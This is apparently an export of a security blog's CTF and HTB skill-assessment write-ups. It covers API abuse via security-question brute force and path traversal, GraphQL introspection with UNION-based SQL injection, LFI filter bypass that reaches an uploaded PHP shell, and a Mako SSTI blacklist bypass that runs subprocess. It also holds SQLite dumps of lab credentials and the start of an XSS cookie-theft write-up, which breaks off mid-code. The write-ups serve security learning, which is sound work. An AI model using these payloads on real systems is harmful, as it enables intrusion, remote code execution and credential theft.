[{"content":"We have a web application that should be secured than v0 and v1, and the question said that Submit the contents of the flag at '/flag.txt'. After seeing that the flag is in /flag.txt, I thought about searching for SSRF to LFI. This enable me to know the local files paths and get the flag.\nFirst I signed in using the credentials provided htbpentester@hackthebox.com:HTBPentester as a customer. Then I want to check the roles to see what I actions I can do using these roles, so navigating to /api/v2/roles/current-user: { \u0026#34;roles\u0026#34;: [ \u0026#34;Suppliers_Get\u0026#34;, \u0026#34;Suppliers_GetAll\u0026#34; ] } I went to supplier section to check what actions I can do and data I can get.\nSending a request to /api/v2/suppliers we will get some PII: Some emails and security questions and such, save it and continue.\nStill searching for endpoint enable me to upload a file to know the path of the files, I found /api/v2/suppliers/current-user/cv endpoint and tried to upload a shell.php file but give me unauthorized.\nI really tried all endpoints that accept files to test but all of them give me unauthorized and need suppliers\u0026rsquo; roles, so I got back to the data I have to find how can I use them, can I get a supplier email from them ??!\nThe data provide email and security question, if you scrolled the file you find that some of them has a security question so I used AI to filter me the emails that have a security question What is your favorite color? and this give me some emails.\nIf you noticed the authentication section you will find an endpoint that resets passwords using security questions \u0026ndash;\u0026gt; /api/v2/authentication/suppliers/passwords/resets/security-question-answers and requires three parameters:\n{ \u0026#34;SupplierEmail\u0026#34;: \u0026#34;string\u0026#34;, \u0026#34;SecurityQuestionAnswer\u0026#34;: \u0026#34;string\u0026#34;, \u0026#34;NewPassword\u0026#34;: \u0026#34;string\u0026#34; } That\u0026rsquo;s greatttt. let\u0026rsquo;s brute forcing this.\nUsing the filtered emails and created wordlist with the all possible colors I used burp intruder with cluster bomb atatack which try all emails with all colors and typed true in Grep Match option to match the correct true credentials. We get a valid one, the next step is to sign in \u0026ndash;\u0026gt; new JWT \u0026ndash;\u0026gt; Authenticate.\nAfter doing this, I checked the available roles for this user:\n{ \u0026#34;errorMessage\u0026#34;: \u0026#34;User does not have any roles assigned\u0026#34; } That\u0026rsquo;s Interesting!!!\nWhat ever, let\u0026rsquo;s check the endpoints which accept uploading files again, and I find this one in supplier too \u0026ndash;\u0026gt; POST /api/v2/suppliers/current-user/cv and requires no roles too: I uploaded a random pdf file and done it\u0026rsquo;s successfully uploaded: If we sent a request to GET /api/v2/suppliers/current-user we will find our file is saved. Now I want to update the file path to point to our flag, so I made a request to PATCH /api/v2/suppliers/current-user/cv and typed ../../../../flag.txt. NOTE: I used path traversal because I don\u0026rsquo;t know the exact path of the flag so we want to make sure that the flag will save in our cv data successfully.\nThese parameters are required to update the file:\n{ \u0026#34;SecurityQuestion\u0026#34;: \u0026#34;string\u0026#34;, \u0026#34;SecurityQuestionAnswer\u0026#34;: \u0026#34;string\u0026#34;, \u0026#34;ProfessionalCVPDFFileURI\u0026#34;: file:///app/wwwroot/SupplierCVs/../../../flag.txt, \u0026#34;PhoneNumber\u0026#34;: \u0026#34;string\u0026#34;, \u0026#34;Password\u0026#34;: \u0026#34;string\u0026#34; } The others we can answer some with any random data, and done it\u0026rsquo;s updated. Our Flag is finally here, we just want to view it. Sending a request to GET /api/v2/suppliers/current-user/cv we will get out flag base64 encoded: JUST DECODE IT AND DONNEEEEE ;)\n","date":"5 July 2026","description":"Escalating from customer to supplier via role enumeration, security-question brute-force, and JWT re-authentication to achieve RCE.","externalUrl":null,"permalink":"/posts/writeups/api-attacks-skill-assessment/","section":"Write-ups","summary":"We have a web application that should be secured than v0 and v1, and the question said that Submit the contents of the flag at '/flag.txt'. After seeing that the flag is in /flag.txt, I thought about searching for SSRF to LFI. This enable me to know the local files paths and get the flag.\n","tags":"Web, HTB","title":"API Attack Skill Assessment","type":"posts"},{"content":"First explored the request and decided to see if the GraphiQL endpoint is enabled.\nI started my test by sending an introspection query to know the relations between objects and queries.\nquery IntrospectionQuery { __schema { queryType { name } mutationType { name } subscriptionType { name } types { ...FullType } directives { name description locations args { ...InputValue } } } } fragment FullType on __Type { kind name description fields(includeDeprecated: true) { name description args { ...InputValue } type { ...TypeRef } isDeprecated deprecationReason } inputFields { ...InputValue } interfaces { ...TypeRef } enumValues(includeDeprecated: true) { name description isDeprecated deprecationReason } possibleTypes { ...TypeRef } } fragment InputValue on __InputValue { name description type { ...TypeRef } defaultValue } fragment TypeRef on __Type { kind name ofType { kind name ofType { kind name ofType { kind name ofType { kind name ofType { kind name ofType { kind name ofType { kind name } } } } } } } } After visualizing it in https://apis.guru/graphql-voyager/ it looks like:\nI noticed activeApikeys and wanted to retrieve the data on it so just typed:\n{ activeApikeys { id role key } } The output is:\n{ \u0026#34;data\u0026#34;: { \u0026#34;activeApiKeys\u0026#34;: [ { \u0026#34;id\u0026#34;: \u0026#34;QXBpS2V5T2JqZWN0OjE=\u0026#34;, \u0026#34;role\u0026#34;: \u0026#34;guest\u0026#34;, \u0026#34;key\u0026#34;: \u0026#34;fbb64ce26fbe8a8d8d6895b8e6ba21a3\u0026#34; }, { \u0026#34;id\u0026#34;: \u0026#34;QXBpS2V5T2JqZWN0OjI=\u0026#34;, \u0026#34;role\u0026#34;: \u0026#34;guest\u0026#34;, \u0026#34;key\u0026#34;: \u0026#34;9cf8622bbc9fdc78f245663e08e5b4c1\u0026#34; }, { \u0026#34;id\u0026#34;: \u0026#34;QXBpS2V5T2JqZWN0OjM=\u0026#34;, \u0026#34;role\u0026#34;: \u0026#34;admin\u0026#34;, \u0026#34;key\u0026#34;: \u0026#34;0711a879ed751e63330a78a4b195bbad\u0026#34; } ] } } We now have the API key of the admin which may be used later.\nEnumerating Mutations and Arguments # My approach is to dump the database to see if there is a flag, so I wanted to test if there is SQLi in any argument. First I need to know which queries accept arguments.\nI queried for mutation options using:\nquery { __schema { mutationType { name fields { name args { name defaultValue type { ...TypeRef } } } } } } fragment TypeRef on __Type { kind name ofType { kind name ofType { kind name ofType { kind name ofType { kind name ofType { kind name ofType { kind name ofType { kind name } } } } } } } } Queries with Arguments # Query Arguments Data Type node id ID (String) employeeByUsername username String productByName name String allCustomers apiKey String customerByName apiKey String customerByName lastName String Mutations with Arguments # Mutation Input Fields addEmployee username (String), employeeId (Int), role (String) addProduct name (String), stock (Int) addCustomer apiKey (String), firstName (String), lastName (String), address (String) SQL Injection Testing # The approach now is to test each one with injection types to know which one is injectable.\nApproach 1: employeeByUsername # { employeeByUsername(username: \u0026#34;admin\u0026#34;) { username employeeId role } } Boolean-based detection:\n{ employeeByUsername(username: \u0026#34;admin\u0026#39; AND \u0026#39;1\u0026#39;=\u0026#39;1\u0026#34;) { username } } { employeeByUsername(username: \u0026#34;admin\u0026#39; AND \u0026#39;1\u0026#39;=\u0026#39;2\u0026#34;) { username } } Error-based detection:\n{ employeeByUsername(username: \u0026#34;admin\u0026#39;\u0026#34;) { username } } { employeeByUsername(username: \u0026#34;admin\u0026#39;\\\u0026#34;\u0026#34;) { username } } UNION-based (4 columns: id, username, employeeId, role):\n{ employeeByUsername(username: \u0026#34;x\u0026#39; UNION SELECT 1,\u0026#39;test\u0026#39;,2,\u0026#39;test\u0026#39;-- -\u0026#34;) { username } } { employeeByUsername(username: \u0026#34;x\u0026#39; UNION SELECT 1,GROUP_CONCAT(table_name),3,4 FROM information_schema.tables WHERE table_schema=database()-- -\u0026#34;) { username } } { employeeByUsername(username: \u0026#34;x\u0026#39; UNION SELECT 1,GROUP_CONCAT(column_name),3,4 FROM information_schema.columns WHERE table_name=\u0026#39;flag\u0026#39;-- -\u0026#34;) { username } } { employeeByUsername(username: \u0026#34;x\u0026#39; UNION SELECT 1,flag,3,4 FROM flag LIMIT 1-- -\u0026#34;) { username } } Approach 2: productByName # { productByName(name: \u0026#34;someproduct\u0026#34;) { name stock } } Error-based:\n{ productByName(name: \u0026#34;product\u0026#39;\u0026#34;) { name } } UNION-based (3 columns: id, name, stock):\n{ productByName(name: \u0026#34;x\u0026#39; UNION SELECT 1,\u0026#39;flag\u0026#39;,999-- -\u0026#34;) { name stock } } { productByName(name: \u0026#34;x\u0026#39; UNION SELECT 1,GROUP_CONCAT(table_name),3 FROM information_schema.tables WHERE table_schema=database()-- -\u0026#34;) { name } } { productByName(name: \u0026#34;x\u0026#39; UNION SELECT 1,GROUP_CONCAT(column_name),3 FROM information_schema.columns WHERE table_name=\u0026#39;flag\u0026#39;-- -\u0026#34;) { name } } { productByName(name: \u0026#34;x\u0026#39; UNION SELECT 1,flag,3 FROM flag LIMIT 1-- -\u0026#34;) { name } } Approach 3: allCustomers (apiKey) # { allCustomers(apiKey: \u0026#34;0711a879ed751e63330a78a4b195bbad\u0026#34;) { firstName lastName address } } Error-based:\n{ allCustomers(apiKey: \u0026#34;0711a879ed751e63330a78a4b195bbad\u0026#39;\u0026#34;) { firstName } } UNION-based (4 columns: id, firstName, lastName, address):\n{ allCustomers(apiKey: \u0026#34;x\u0026#39; UNION SELECT 1,\u0026#39;flag\u0026#39;,\u0026#39;flag\u0026#39;,\u0026#39;flag\u0026#39; FROM some_table-- -\u0026#34;) { firstName lastName address } } { allCustomers(apiKey: \u0026#34;x\u0026#39; UNION SELECT 1,GROUP_CONCAT(table_name),3,4 FROM information_schema.tables WHERE table_schema=database()-- -\u0026#34;) { firstName } } { allCustomers(apiKey: \u0026#34;x\u0026#39; UNION SELECT 1,GROUP_CONCAT(column_name),3,4 FROM information_schema.columns WHERE table_name=\u0026#39;flag\u0026#39;-- -\u0026#34;) { firstName } } { allCustomers(apiKey: \u0026#34;x\u0026#39; UNION SELECT 1,flag,3,4 FROM flag LIMIT 1-- -\u0026#34;) { firstName } } Approach 4: customerByName — The Vulnerable Endpoint # { customerByName(apiKey: \u0026#34;0711a879ed751e63330a78a4b195bbad\u0026#34;, lastName: \u0026#34;Smith\u0026#34;) { firstName lastName address } } Test apiKey:\n{ customerByName(apiKey: \u0026#34;x\u0026#39; UNION SELECT 1,\u0026#39;a\u0026#39;,\u0026#39;a\u0026#39;,\u0026#39;a\u0026#39;-- -\u0026#34;, lastName: \u0026#34;Smith\u0026#34;) { firstName } } Test lastName:\n{ customerByName(apiKey: \u0026#34;0711a879ed751e63330a78a4b195bbad\u0026#34;, lastName: \u0026#34;x\u0026#39; UNION SELECT 1,\u0026#39;a\u0026#39;,\u0026#39;a\u0026#39;,\u0026#39;a\u0026#39;-- -\u0026#34;) { firstName } } UNION-based enumeration on lastName:\n{ customerByName(apiKey: \u0026#34;0711a879ed751e63330a78a4b195bbad\u0026#34;, lastName: \u0026#34;x\u0026#39; UNION SELECT 1,GROUP_CONCAT(table_name),3,4 FROM information_schema.tables WHERE table_schema=database()-- -\u0026#34;) { firstName } } This retrieves the tables:\n{ \u0026#34;data\u0026#34;: { \u0026#34;customerByName\u0026#34;: { \u0026#34;firstName\u0026#34;: \u0026#34;api_key,employee,flag,product,customer\u0026#34; } } } Now get the columns:\n{ customerByName(apiKey: \u0026#34;0711a879ed751e63330a78a4b195bbad\u0026#34;, lastName: \u0026#34;x\u0026#39; UNION SELECT 1,GROUP_CONCAT(column_name),3,4 FROM information_schema.columns WHERE table_name=\u0026#39;flag\u0026#39;-- -\u0026#34;) { firstName } } This gives us:\n{ \u0026#34;data\u0026#34;: { \u0026#34;customerByName\u0026#34;: { \u0026#34;firstName\u0026#34;: \u0026#34;id,flag\u0026#34; } } } Reading the Flag # { customerByName(apiKey: \u0026#34;0711a879ed751e63330a78a4b195bbad\u0026#34;, lastName: \u0026#34;x\u0026#39; UNION SELECT 1,GROUP_CONCAT(flag),3,4 FROM flag-- -\u0026#34;) { firstName } } NOTE: The structure of the query and the number of columns we knew from the visual diagram which customerByName needs 4 columns so we made this in our UNION payload.\n","date":"21 June 2026","description":"Exploiting GraphQL introspection to leak API keys, then chaining SQL injection through customer queries to dump the flag.","externalUrl":null,"permalink":"/posts/writeups/graphql-skill-assessment/","section":"Write-ups","summary":"First explored the request and decided to see if the GraphiQL endpoint is enabled.\nI started my test by sending an introspection query to know the relations between objects and queries.\n","tags":"Web, HTB","title":"GraphQL Skill Assessment","type":"posts"},{"content":"The challenge description: Assess the web application and use a variety of techniques to gain remote code execution and find a flag in the / root directory of the file system. Submit the contents of the flag as your answer.\nLet\u0026rsquo;s Start With Reconnaissance # The web application has some endpoints:\nindex.php contact.php apply.php Our interesting endpoint is apply.php as mentioned in the description. ![[Pasted image 20260702215813.png]] As a start, I decided to upload a file to test the upload functionality to know which files can be uploaded to decide which approach I will go through.\nI found that the upload functionality accept all file types and there is no restriction in the file type. So I uploaded a shell.php file that contains a PHP shell. After submitting, the app redirected us to endpoint thanks.php?n=, testing it with LFI but it\u0026rsquo;s not vulnerable. While exploring the code to know the path of the uploaded file to make me know how to access it later, I FOUND something interesting: ![[Pasted image 20260702222030.png]] There is another endpoint called api/image.php and the logo of the application is called and hashed with the parameter p. I tried to test this parameter to LFI vulnerability with basic payloads, but no one triggered it, so let\u0026rsquo;s do fuzzing: ffuf -w /usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt:FUZZ \\ -u \u0026#39;http://154.57.164.62:32092/api/image.php?p=FUZZ\u0026#39; -fs 0 Found that ...// bypassed the filters and confirmed LFI vulnerability. GET /api/image.php?p=....//....//....//....//etc/passwd ![[Pasted image 20260702223405.png]]\nNow I want to get the source code, we have two options, to get the source code: Using Wrappers: php://filter/read=convert.base64-encode/resource=/....//....//....//....//....//....//....//....//....//....//....//....//api/index.php Or using the default path to web root (/var/www/html/): curl \u0026#34;http://154.57.164.62:32092//api/image.php?p=php://filter/convert.base64-encode/resource=....//....//....//....//....//....//....//....//....//....//var/www/html/index.php\u0026#34; But nothing is interesting in index.php, so I read all files to know the logic of the application: Contact.php # \u0026lt;?php $region = \u0026#34;AT\u0026#34;; $danger = false; if (isset($_GET[\u0026#34;region\u0026#34;])) { if (str_contains($_GET[\u0026#34;region\u0026#34;], \u0026#34;.\u0026#34;) || str_contains($_GET[\u0026#34;region\u0026#34;], \u0026#34;/\u0026#34;)) { echo \u0026#34;\u0026#39;region\u0026#39; parameter contains invalid character(s)\u0026#34;; $danger = true; } else { $region = urldecode($_GET[\u0026#34;region\u0026#34;]); } } if (!$danger) { include \u0026#34;./regions/\u0026#34; . $region . \u0026#34;.php\u0026#34;; } The key points of the code: # The endpoint has a region parameter. User input is directly passed to include function which is a direct LFI vulnerability. A weak non-recursive filter to check and remove only . and /. If the filter bypassed, a .php extension is added to the user input. urldecode() is applied after validation. image.php # \u0026lt;?php if (isset($_GET[\u0026#34;p\u0026#34;])) { $path = \u0026#34;../images/\u0026#34; . str_replace(\u0026#34;../\u0026#34;, \u0026#34;\u0026#34;, $_GET[\u0026#34;p\u0026#34;]); $contents = file_get_contents($path); header(\u0026#34;Content-Type: image/jpeg\u0026#34;); echo $contents; } ?\u0026gt; Replace ../ too. Take a parameter p The path of the images is ../images/. I decided to fuzz the application to know the hidden directories and the uploads directory:\nffuf -w /usr/share/seclists/Discovery/Web-Content/directory-list-1.0.txt -u http://154.57.164.61:31105/FUZZ -fs 3405 Got some directories: ![[Pasted image 20260702234356.png]]\nOur uploads directory is uploads. I contioned fuzzing in api to reach any another source codes: ffuf -w /usr/share/seclists/Discovery/Web-Content/raft-small-files.txt:FUZZ -u http://154.57.164.61:31105/api/FUZZ -fs 3405 Got image.php and application.php. We knew image, let read application:\n\u0026lt;?php $firstName = $_POST[\u0026#34;firstName\u0026#34;]; $lastName = $_POST[\u0026#34;lastName\u0026#34;]; $email = $_POST[\u0026#34;email\u0026#34;]; $notes = (isset($_POST[\u0026#34;notes\u0026#34;])) ? $_POST[\u0026#34;notes\u0026#34;] : null; $tmp_name = $_FILES[\u0026#34;file\u0026#34;][\u0026#34;tmp_name\u0026#34;]; $file_name = $_FILES[\u0026#34;file\u0026#34;][\u0026#34;name\u0026#34;]; $ext = end((explode(\u0026#34;.\u0026#34;, $file_name))); $target_file = \u0026#34;../uploads/\u0026#34; . md5_file($tmp_name) . \u0026#34;.\u0026#34; . $ext; move_uploaded_file($tmp_name, $target_file); header(\u0026#34;Location: /thanks.php?n=\u0026#34; . urlencode($firstName)); ?\u0026gt; So Interesting, we know the logic now. Our interesting here is the upload functionality and how the file is handled:\n$target_file = \u0026#34;../uploads/\u0026#34; . md5_file($tmp_name) . \u0026#34;.\u0026#34; . $ext; ../uploads/ (relative to api/, so /var/www/html/uploads/ MD5 hash of the file content + original extension \u0026ndash;\u0026gt; filename SO we should calculate the hash of the file we upload then the application will match and store, this is the way we can get our file in the system later too. Our Attack Approach # Upload shell.php PHP shell code to apply.php. Calculate the MD5 hash: md5sum shell.php \u0026ndash;\u0026gt; fc023fcacb27a7ad72d605c4e300b389\nNow we want to access the uploaded file to gain RCE. As we knew before the upload path is ../uploads but the app filter . and / so we should encode all of them: ../uploads/fc023fcacb27a7ad72d605c4e300b389 NOTE THAT: as I mentioned before, no need to write .php to the end of our file because the app add it after validation.\nAfter URL encoding: %2E%2E%2Fuploads%2Ffc023fcacb27a7ad72d605c4e300b389 Now everything is ready, we should send a request to region parameter in contact.php. ![[Pasted image 20260703000740.png]] Tells us 'region' parameter contains invalid character(s), meaning that we don\u0026rsquo;t bypass the filters. I tried Double Encoding: ANND DOONE, we gain RCE now, I listed the all files in / using cmd=ls -al / to demonstrate the flag location: %25%32%65%25%32%65%25%32%66%25%37%35%25%37%30%25%36%63%25%36%66%25%36%31%25%36%34%25%37%33%25%32%66%25%36%36%25%36%33%25%33%30%25%33%32%25%33%33%25%36%36%25%36%33%25%36%31%25%36%33%25%36%32%25%33%32%25%33%37%25%36%31%25%33%37%25%36%31%25%36%34%25%33%37%25%33%32%25%36%34%25%33%36%25%33%30%25%33%35%25%36%33%25%33%34%25%36%35%25%33%33%25%33%30%25%33%30%25%36%32%25%33%33%25%33%38%25%33%39\u0026amp;cmd=ls+-al+/ ![[Pasted image 20260703001307.png]] The flag in flag_09ebca.txt, just read it using cat /flag_09ebca.txt and done ;)\n","date":"15 June 2026","description":"Chaining LFI path traversal, source code disclosure, and double URL encoding to gain RCE through an uploaded PHP shell.","externalUrl":null,"permalink":"/posts/writeups/file-inclusion-skill-assessment/","section":"Write-ups","summary":"The challenge description: Assess the web application and use a variety of techniques to gain remote code execution and find a flag in the / root directory of the file system. Submit the contents of the flag as your answer.\n","tags":"Web, HTB","title":"File Inclusion Skill Assessment","type":"posts"},{"content":"Hello everyone, this is my first time being an author for a CTF competition. I created 6 web challenges, one misc challenge, and one Linux jail. It was a very exciting experience for me to have this opportunity.\nLet\u0026rsquo;s go and see how to solve the most important web challenges.\nAdmin Jokes # Disc: Admin is a wise man; he doesn\u0026rsquo;t say silly jokes.\nThe intended chain of the challenge:\nFind and use the LFI in /jokes. Read the application source to discover the important endpoint and sink. Exploit the Mako SSTI in /admin/profile. Use code execution to run the setuid helper and print the real flag. After opening the challenge you will get this dashboard.\nAfter navigate to the jokes you will see some really jokes but each of them give small hints for you:\nJoke 3: I asked the server what its favorite hobbies were. It said, I can\u0026rsquo;t tell you, those are private variables.\nJoke 4: What\u0026rsquo;s a hacker\u0026rsquo;s favorite type of music? Heavy metal… because they love breaking into systems!\nJoke 5: A programmer\u0026rsquo;s favorite place to hide secrets? In the environment! You can\u0026rsquo;t see them, but they\u0026rsquo;re always there.\nSome hints like environment, private variables, and systems may give clues about the env variables.\nLet\u0026rsquo;s exploit the LFI then. This confirms the existence of LFI vuln. If you search about a flag you will get a fake one. Now search about the source code — there many ways to get the source code but the intended is /system/app.py and you will get the source code:\nThe core bug is effectively:\nfile_path = f\u0026#34;{JOKES_DIR}/{joke_id}\u0026#34; There is no normalization or sanitization, so ../ traversal works.\n\u0026#34;\u0026#34;\u0026#34; Admin Profile Preview Module This module handles admin profile previews with Mako templates. Security: Input validation applied before template rendering. Note: Some dangerous functions are filtered for security. \u0026#34;\u0026#34;\u0026#34; from flask import request, Response from mako.template import Template def render_profile(name): \u0026#34;\u0026#34;\u0026#34; Renders admin profile using Mako template engine. Security measures: - Input sanitization applied - Blacklist filter for dangerous keywords - Direct template rendering (fast performance) Known filtered terms include things like: - System-level operations - Code evaluation functions - Module import mechanisms - Process execution calls \u0026#34;\u0026#34;\u0026#34; # Security filter applied here lowered = name.lower() # Filter implementation (exact terms not shown for security) # ... blacklist checking logic ... template = Template(f\u0026#34;\u0026lt;h2\u0026gt;Admin Profile\u0026lt;/h2\u0026gt;\u0026lt;p\u0026gt;Welcome, {name}\u0026lt;/p\u0026gt;\u0026#34;) return template.render() # Exposed endpoint: # GET /admin/profile?name= The source code shows that the name parameter is a server-side template injection sink. And the source also shows there are some filters or blacklist, so the target is:\nReach /admin/profile. Use Mako expression syntax. Bypass the weak blacklist. Confirm the SSTI # Mako expressions use ${…}.\nA quick test: /admin/profile?name=${7*7} → you will get Welcome, 49, so SSTI is confirmed.\nBypass the blacklist # The blacklist is only doing a lowercase substring check on the raw input. It does not understand Python expressions.\nThat means blocked words can be split into pieces and concatenated at runtime.\nFor example, this avoids the literal string subprocess:\n__import__(\u0026#39;su\u0026#39;+\u0026#39;bpro\u0026#39;+\u0026#39;cess\u0026#39;) A working proof-of-execution payload is:\n${__import__(\u0026#39;su\u0026#39;+\u0026#39;bpro\u0026#39;+\u0026#39;cess\u0026#39;).check_output([\u0026#39;id\u0026#39;]).decode()} Note: There are many ways to bypass the filters and the concatenation is just one of them.\nAfter confirming the exploit of SSTI, we should search about the flag, so using ls is helpful to list all files and directories:\n${__import__(\u0026#39;su\u0026#39;+\u0026#39;bpro\u0026#39;+\u0026#39;cess\u0026#39;).check_output([\u0026#39;ls\u0026#39;,\u0026#39;-la\u0026#39;,\u0026#39;/\u0026#39;]).decode()} The flag is in readflagbinary so let\u0026rsquo;s read it:\n${__import__(\u0026#39;su\u0026#39;+\u0026#39;bpro\u0026#39;+\u0026#39;cess\u0026#39;).check_output([\u0026#39;/readflagbinary\u0026#39;]).decode()} Your flag is : CATF{Mak0_LF1_2_SSTI_Adm1n_J0k3s_Pwn3d_9f4e2b7c}\nForest Secrets # A web challenge disguised as a terminal-style story game.\nAt first glance, the player only sees four visible choices at each stage of the story. The real trick is that one important piece of information is not exposed through a normal GET request. The intended solve is to reach the gate, notice the clue, inspect how the web app communicates, and then use a different HTTP method to recover the hidden command.\nWhat the Challenge Is Testing\nThis challenge is mainly about:\nBasic web recon Understanding that endpoints may behave differently depending on the HTTP method Checking headers, not just response bodies When you open the challenge, you\u0026rsquo;ll get a terminal-like interface with a story and 4 options to do.\nAfter you burn some time checking the 4 options you will know the right path to follow is:\nHEAD TOWARD THE LANTERN LIGHT → ENTER THE ABANDONED SHRINE → READ THE CARVED TABLET → OPEN THE IRON GATE\nYou will get an important thing: WHAT IS THE SECRET COMMAND?\nOur mission now is to search for this command. If you see the request in burp, there are the options and none of them is the secret. If you read the source code you won\u0026rsquo;t see anything important too, but if you see the robots.txt you will see a hint.\nThis leads you to manipulate the HTTP methods you know like GET, POST, PUT, HEAD, OPTIONS, etc in burp.\nIf you tried them one by one you will get the secret by using OPTIONS:\nSo the secret is ASK THE FOREST FOR A FIFTH PATH. If you send it only in stage 4 you will get the flag.\nPaper Tail # This challenge is a good example of why \u0026ldquo;normal-looking search\u0026rdquo; pages are worth testing carefully. From the outside, we only get a small blog-style site, a search bar, and an /admin login page. The full solve path is:\nRecon the public routes. Prove /search is injectable with UNION SELECT. Find the correct column count. Enumerate the SQLite schema. Dump five useful tables. Recover admin credentials and the hidden export path. Log in, pull the PDF export, and read the flag from PDF metadata. This is the landing dashboard. We have a blog search function. If you look for robots.txt you will see we have an admin endpoint too and you need to log in.\nIf you tried SQLi in the login page you won\u0026rsquo;t get anything, but let\u0026rsquo;s check if the search functionality is vulnerable or not.\nIf you tried boolean based like 0' OR 1=1-- you will see it\u0026rsquo;s not vulnerable, but if you tried UNION BASED like 0' UNION SELECT NULL-- you will get an error and this is a PoC of vulnerability existence.\nYou will add each time a new NULL till you get 200 OK when writing 5 times which shows that there are 5 columns:\n0\u0026#39; UNION SELECT NULL,NULL,NULL,NULL,NULL -- Enumerate the SQLite schema # Because the blog talks about SQL Lite master, the first thing you should try is to ensure that the database is SQL LITE:\n0\u0026#39; UNION ALL SELECT 1,name,sql,4,5 FROM sqlite_master WHERE type=\u0026#39;table\u0026#39; -- This dumps the database tables and their column names. These tables are our target:\ninv_9f2e_catalog, img_14ad_assets, migr_71c9_principals, cfg_f201_panels, sess_8c1d_store, audit_b55c_log, docs_4a3e_legacy\nAt this point, the best attacker mindset is:\nmigr_* probably contains credentials. docs_* probably contains references, files, or internal paths. cfg_* can reveal routes and feature names. audit_* can hint at internal workflows. img_* is probably noise, but it is still useful to confirm the data model. Table 1: migr_71c9_principals\n0\u0026#39; UNION ALL SELECT principal_id,handle,secret_material||\u0026#39; | tier=\u0026#39;||policy_tier||\u0026#39; | enabled=\u0026#39;||enabled,4,5 FROM migr_71c9_principals -- warehouse → st0ck-sync-2024 | tier=user | enabled=1 support → t1cket-queue-bot | tier=user | enabled=1 auditbot → cron$service#88 | tier=svc | enabled=1 admin → yR7!q1_profile@pack | tier=admin | enabled=1 You can get the admin credentials only if you know there is a user called admin:\n0\u0026#39; union select principal_id,handle,secret_material,policy_tier,null from migr_71c9_principals where policy_tier=\u0026#39;admin\u0026#39; -- So we got → admin:yR7!q1_profile@pack\nTable 2: docs_4a3e_legacy\n0\u0026#39; UNION ALL SELECT doc_id,doc_ref,storage_path||\u0026#39; | owner=\u0026#39;||owner_handle,4,5 FROM docs_4a3e_legacy -- legacy-profile-pack-8f3d → /admin/profile/export?ref=legacy-profile-pack-8f3d | owner=admin This is already enough to suspect the final stage:\nThere is an authenticated export route It takes a ref parameter The interesting object belongs to admin Table 3: cfg_f201_panels\n0\u0026#39; UNION ALL SELECT panel_id,panel_name,route_name||\u0026#39; | hidden=\u0026#39;||is_hidden,4,5 FROM cfg_f201_panels -- overview → /admin/profile | hidden=0 sessions → /admin/profile | hidden=0 preferences → /admin/profile | hidden=0 api-keys → /admin/profile/api-keys | hidden=1 history → /admin/profile/history | hidden=1 This confirms that /admin/profile is the main post-login target and that there are hidden routes behind the admin UI.\nTable 4: audit_b55c_log\n0\u0026#39; UNION ALL SELECT audit_id,event_name,COALESCE(actor_handle,\u0026#39;\u0026#39;)||\u0026#39; | \u0026#39;||created_at,4,5 FROM audit_b55c_log -- EXPORT_PIPELINE_BOOT → auditbot | 2026-03-23T02:09:41.933Z PANEL_INDEX_REFRESH → auditbot | 2026-03-23T02:09:41.933Z Table 5: img_14ad_assets\n0\u0026#39; UNION ALL SELECT asset_id,storage_key,\u0026#39;product=\u0026#39;||product_id||\u0026#39; | alt=\u0026#39;||alt_text,4,5 FROM img_14ad_assets -- hero/papertail-gradient → product=1 | alt=Paper Tail cover art thumbs/blog-index → product=2 | alt=Blog index thumbnail Final Steps # Now we have all the content of the database, the remaining steps are:\nLogin with the admin credentials Go to the path we found in the docs table After logging in, go to /admin/profile/export?ref=legacy-profile-pack-8f3d and a PDF will be downloaded.\nTo see its metadata you need to use exiftool:\nSome encoded strings:\nAuthor : Q0FURntQNFAzcl90cjQxbF8= Subject : dGhyMHVnSF9TUUxpbl9CeV9kYjFNfQ== After decoding them you will get the flag:\nCATF{P4P3r_tr41l_thr0ugH_SQLin_By_db1M}\n","date":"23 March 2026","description":"Write-ups for 3 web challenges I created at CAT CTF 26: Admin Jokes, Forest Secrets, and Paper Tail.","externalUrl":null,"permalink":"/challenges/cat-ctf-26/","section":"My Labs","summary":"Hello everyone, this is my first time being an author for a CTF competition. I created 6 web challenges, one misc challenge, and one Linux jail. It was a very exciting experience for me to have this opportunity.\n","tags":"CTF, Web, Author","title":"CAT CTF 26 — Entry Level (Author Write-Ups)","type":"challenges"},{"content":"How I Exploited an XSS vulnerability in a filtered input parameter using the /a// bypass technique to steal the admin bot\u0026rsquo;s FLAG cookie through a webhook exfiltration.\nComponents # Web App (index.php): Reflects user input inside a \u0026lt;script\u0026gt; tag with strict filtering \u0026lt;?php function check($input) { $whitelist = \u0026#39;abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789;\u0026#34;/\u0026#39;; $result = \u0026#39;\u0026#39;; $len = strlen($input); if(str_contains($input, \u0026#39;\u0026lt;\u0026#39;)){ return false; } if(substr_count($input, \u0026#39;\u0026#34;\u0026#39;) \u0026gt; 1){ return false; } for ($i = 0; $i \u0026lt; $len; $i++) { $char = $input[$i]; if (strpos($whitelist, $char) !== false) { $result .= $char; } else { return false; } if ($char === \u0026#39;/\u0026#39; \u0026amp;\u0026amp; isset($input[$i+1]) \u0026amp;\u0026amp; $input[$i+1] === \u0026#39;/\u0026#39;) { if (strpos($result, \u0026#39;\u0026#34;\u0026#39;) !== false) { break; } $result .= \u0026#39;//\u0026#39;; $i++; } } return $result; } function remove_all_whitespace(string $s): string { return preg_replace(\u0026#39;/[\\p{Z}\\p{C}\\s]+/u\u0026#39;, \u0026#39;\u0026#39;, $s); } $name = remove_all_whitespace($_GET[\u0026#39;name\u0026#39;] ?? \u0026#34;Guest\u0026#34;); if (!check($name)) { $name = \u0026#34;Guest\u0026#34;; } ?\u0026gt; \u0026lt;h3 id=\u0026#34;welcome\u0026#34;\u0026gt;\u0026lt;/h3\u0026gt; \u0026lt;script\u0026gt; document.getElementById(\u0026#34;welcome\u0026#34;).innerText = \u0026#34;Welcome, \u0026lt;?=$name?\u0026gt;\u0026#34;; \u0026lt;/script\u0026gt; Admin Bot (admin_bot.js): Bot that visits URLs with a FLAG cookie set const express = require(\u0026#39;express\u0026#39;); const puppeteer = require(\u0026#39;puppeteer\u0026#39;); const app = express(); const PORT = 3000; app.use(express.json()); app.post(\u0026#39;/visit\u0026#39;, async (req, res) =\u0026gt; { const { url } = req.body; if (!url) return res.status(400).json({ error: \u0026#39;Missing url\u0026#39; }); if (!(url.startsWith(\u0026#39;https://web-czechoslovakia.hackena-labs.com/\u0026#39;) || 